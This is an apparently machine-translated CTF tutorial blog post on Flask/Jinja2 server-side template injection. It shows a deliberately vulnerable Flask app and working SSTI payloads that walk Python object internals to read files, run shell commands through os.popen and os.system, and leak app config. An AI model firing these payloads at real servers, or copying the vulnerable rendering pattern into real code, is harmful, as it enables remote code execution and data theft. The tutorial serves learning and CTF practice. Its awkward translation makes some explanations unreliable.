当前位置:网站首页>CTF_ Web: Learn flask template injection (SSTI) from 0
CTF_ Web: Learn flask template injection (SSTI) from 0
2022-06-25 04:31:00 【AFCC_】
0x01 Preface
Recently, I found that the problems injected by the server-side template are also common in the process of question brushing , These injection topics are similar , The difference lies in the different frameworks 、 Different filtering rules may be required for the final payload Dissimilarity , This article will be Flask As an example, learn about template injection , It is also a record of your own learning .
0x02 Flask brief introduction
Flask It's a Python Compiling Web Microframets , Let's use Python Language quickly realizes a website or Web service . The advantage is that the development is simple , Less code , A lot of work has been implemented in the framework . He and Django differ Django It's an all-around framework , Usually used to write large websites .
and jinjia2、template、Mako And so on are engines that provide functional support for the framework , Each has its own advantages and disadvantages , It is not our main learning content . But we need to know Flask The default engine used is jinjia2, This article will also mainly analyze jinjia2 Injection problem in .
First configuration flask And jinjia2 Engine environment :
pip3 install flask
pip3 install jinjia2
Use this time python -c "import flask"
Echo no error message , Prove that the required environment has been installed , Here's a simple example flask Start with examples .
0x03 ordinary Flask Example
#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__) # establish FLask class
@app.route("/") # Set the default route
def index(): # Default view function , Binding to routing , Used to handle user access to websites and directories / The case when
name = request.args.get('name', 'guest')# The accepted parameter name is name Parameters passed in
html = '''
<h3>your input %s</h3>
'''%name # Set up a template html, take name The value of %s Output
return render_template_string(html) # take html Render as a string template
# Corresponding , When html When it's a file , Use render_template Function to render a specified file
if __name__=='__main__': # When starting as the master file
app.run(debug = True) # With debug mode
Explain by commenting on the above simple example , It can be seen that , A complete and simple Flask frame , By one or more routes (route)、 The bound view function consists of , The view function is used to process the route accessed by the user , Including receiving parameters 、 Create a template 、 Rendering , Operation, etc. , For us , The problem is that render There is no restriction and filtering of user input in the rendering process , Cause malicious code to be injected , Executed the code entered by the user .
When you need to constantly change your code , Recommended Opening debug Pattern , Otherwise, you need to restart each modification py file , More trouble , start-up debug The pattern uses the following statement .
app.debug = True
perhaps
app.run(debug=True)
After the above example runs , Will be in localhost:5000
Return to the default page , As shown in the figure :
When the parameter is passed in name when , Will be Template After creating the template, render the content displayed for the page .
For example, incoming name=AFCC_
Now we'll talk about jinjia2 The syntax in the engine , And describe the harm that will be caused if the user input is not restricted .
0x04 jinjia2 Engine injection testing and common payload
stay jinjia2 In the engine :
{
{ ... }}: Load a variable , When the template is rendered , The value represented by this variable will be replaced by the parameter with the same name passed in .
{% ... %}: Load a control statement .
{# ... #}: Load a comment , This intermediate value will be ignored when rendering the template
The most common test we use is { {}}
, Test whether the values in curly braces are controllable and rendered by the template .
for example { {7*7}}
or { {7*'7'}}
, The returns are :
This shows that the user is { {}}
The input in is treated by the engine as a new variable for rendering , At this point, the code execution is satisfied 、 Input controllable basic conditions .
First, let's take a look at some important classes and attributes in the template , To facilitate subsequent calls to the specified sensitive module .
First of all
__class__ Returns the object to which the type belongs
__mro__ Returns a tuple containing the base class inherited by the object , Method parses in the order of tuples , So this right here is class The class of the returned object .
__base__ Returns the base class inherited by the object , So this right here is class The class of the returned object .
__subclasses__ Returns all subclasses in the base class , Each new class retains references to subclasses , This method returns a list of references that are still available in a class
__globals__ Reference to the dictionary containing the global variables of the function , includes
get_flashed_messages() Back in the Flask Pass through flash() List of incoming flash messages . Add a message represented by a string object to a message queue , And then by calling get_flashed_messages() Method take out ( Flash messages can only be retrieved once , The flash information will be cleared after it is removed ).
Let's test the returned content one by one .
First of all __class__
, Here we use an empty string to do the content ''
, Pass in { {''.__class__}}
Returned a string object , Then use
__mro__
or __base__
Get the base class of the string object . It can be seen here
__base__
Returns the direct inheritance class of the current class , and __mro__
Returns the tuple inherited by the current class , Contains multiple classes .
So we choose the direct inheritance class as object
The object of , Use { {[].__class__.__base__}}
, This will return directly to object
.
We select from multiple base classes object
class , You can see that there are many subclasses in the base class . What we want to use , There are several utilization points as follows :
One is file Module read function , Used to read various files , Sensitive information, etc . But in
Two is warnings.catch_warnings( You need to import os modular )、socket._socketobject( You need to import os modular )、site._Printer、site.Quitter And other modules os, adopt os Module we can do system Carry out orders (system Execution successful return 0, Will not be displayed on the page .)、popen Pipe read file 、listdir Column directory and other operations .
The third is get_flashed_messages() Get flash information
1.file modular
Find... By index file modular , Use read Function to read files .
{
{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}
2.os modular
there [60]
Namely warnings.catch_warnings
[133]
Namely socket._socketobject
, You can see inside os None of them have been imported .
Use it here __builtins__
Medium eval
Function import os Module to execute type commands .
{
{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
stay Linux Back in (Linux in 157
yes warnings.catch_warnings
)
By looking for , built-in os The following two modules can be used directly . [72]site._Printer
[77]site.Quitter
Use here os.system
Carry out orders .
{
{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}
Browser return 0, On behalf of successful execution , However, you can see the execution results in the debugging information
Of course, differences in the environment will also make the index values different , So we need a script to help us determine the index value of the current environment .
Of course, the most convenient way is to use it directly os Module to execute commands .
Here, all the obtained subclasses are assigned to list, Find the required module after processing .
( Script from Second calculation i)
def find():
list = ""
list = list.replace('\'','')
list = list.replace('<','')
list = list.replace('>','')
list = list.replace('class ','')
list = list.replace('enum ','')
list = list.replace('type ','')
list = list.replace(' ','')
list = list.split(',')
print(list)
className = 'warnings.catch_warnings' # The name of the module to be searched
num = list.index(className)
print(num) # Returns the index
if __name__ == '__main__':
find()
3.get_flashed_messages() Get flash information
Use { {get_flashed_messages.__globals__}}
Get global information , You can see a lot of sensitive information here , But the function name also tells us that we can only get information , It is not possible to use and execute modules as above , Here stands for this app The value of itself is current_app
Use config Get configuration information , Of course, here it is config You can get it directly , You can use this method when you are filtered at certain times .( Attack and defend the world Web_shrine)
get_flashed_messages.__globals__['current_app'].config
0x05 Reference article
SSTI Template Injection
python Learning notes ( understand Flask、jinjia2 engine )
Flask Template Injection
Flask-SSTI Precautions and some POC
边栏推荐
- Nodejs connects to MySQL through heidisql, and ER appears_ BAD_ DB_ ERROR: Unknown database 'my_ db_ books'
- GBase 8s 锁的分类
- 升级cmake
- 彻底理解数据库事务
- How to screen out words related to products and eliminate invalid words accurately
- 1280_ C language to find the average value of two unsigned integer
- Error 1062 is reported during MySQL insertion, but I do not have this field.
- Laravel document sorting 9. Blade template
- mongodb集群
- CMD operation MySQL in Windows
猜你喜欢
LeetCode 剑指Offer II 091 粉刷房子[动态规划] HERODING的LeetCode之路
CTF_ Web: Advanced questions of attack and defense world expert zone WP (1-4)
"Renaissance" in the digital age? The bottom digital collection makes people happy and sad
How to draw an industry investment map
95% 程序员都在这里摸鱼……
Mathematical analysis_ Notes_ Chapter 3: limits
"Comment positionner l'industrie" dans la planification industrielle locale / parc
【openwrt】推荐一个国内开发的openwrt的版本,iStoreOS简介,非常好用,主要是做了一些优化。解决了汉化的问题。
Lecture record: history and development of strapdown inertial navigation solution
navicat可不可以直接操作安卓数据库SQLite
随机推荐
Detailed explanation of flex attributes in flex layout
SQL, CTE, flg case problems
【LeetCode】22. 括号生成
numpy np tips:使用opencv对数组插值放缩到固定形状 cv2.resize(res, dsize=(64, 64), interpolation=cv2.INTER_CUBIC)
mysql的tinyint字段类型判断的疑惑
How to screen out words related to products and eliminate invalid words accurately
MySQL order by
L'épée leetcode fait référence au chemin leetcode de l'offre II 091 pour peindre la maison [planification dynamique] heroding
Basic use of OBS browser+ browser
GBASE 8s的数据视图
Thorough understanding of database transactions
关于TCP连接三次握手的详细总结
sql_ mode=only_ full_ group_ By's pit
[openwrt] we recommend a domestically developed version of openwrt, an introduction to istoreos. It is very easy to use. It is mainly optimized. It solves the problem of Sinicization.
PostgreSQL数据库WAL——RM_HEAP_ID日志记录动作
Easyrecovery15 very easy to use computer data recovery software
WMS仓储管理系统的使用价值,你知道多少
How to draw an industry investment map
Win10 environment phpstudy2016 startup failure record
彻底理解数据库事务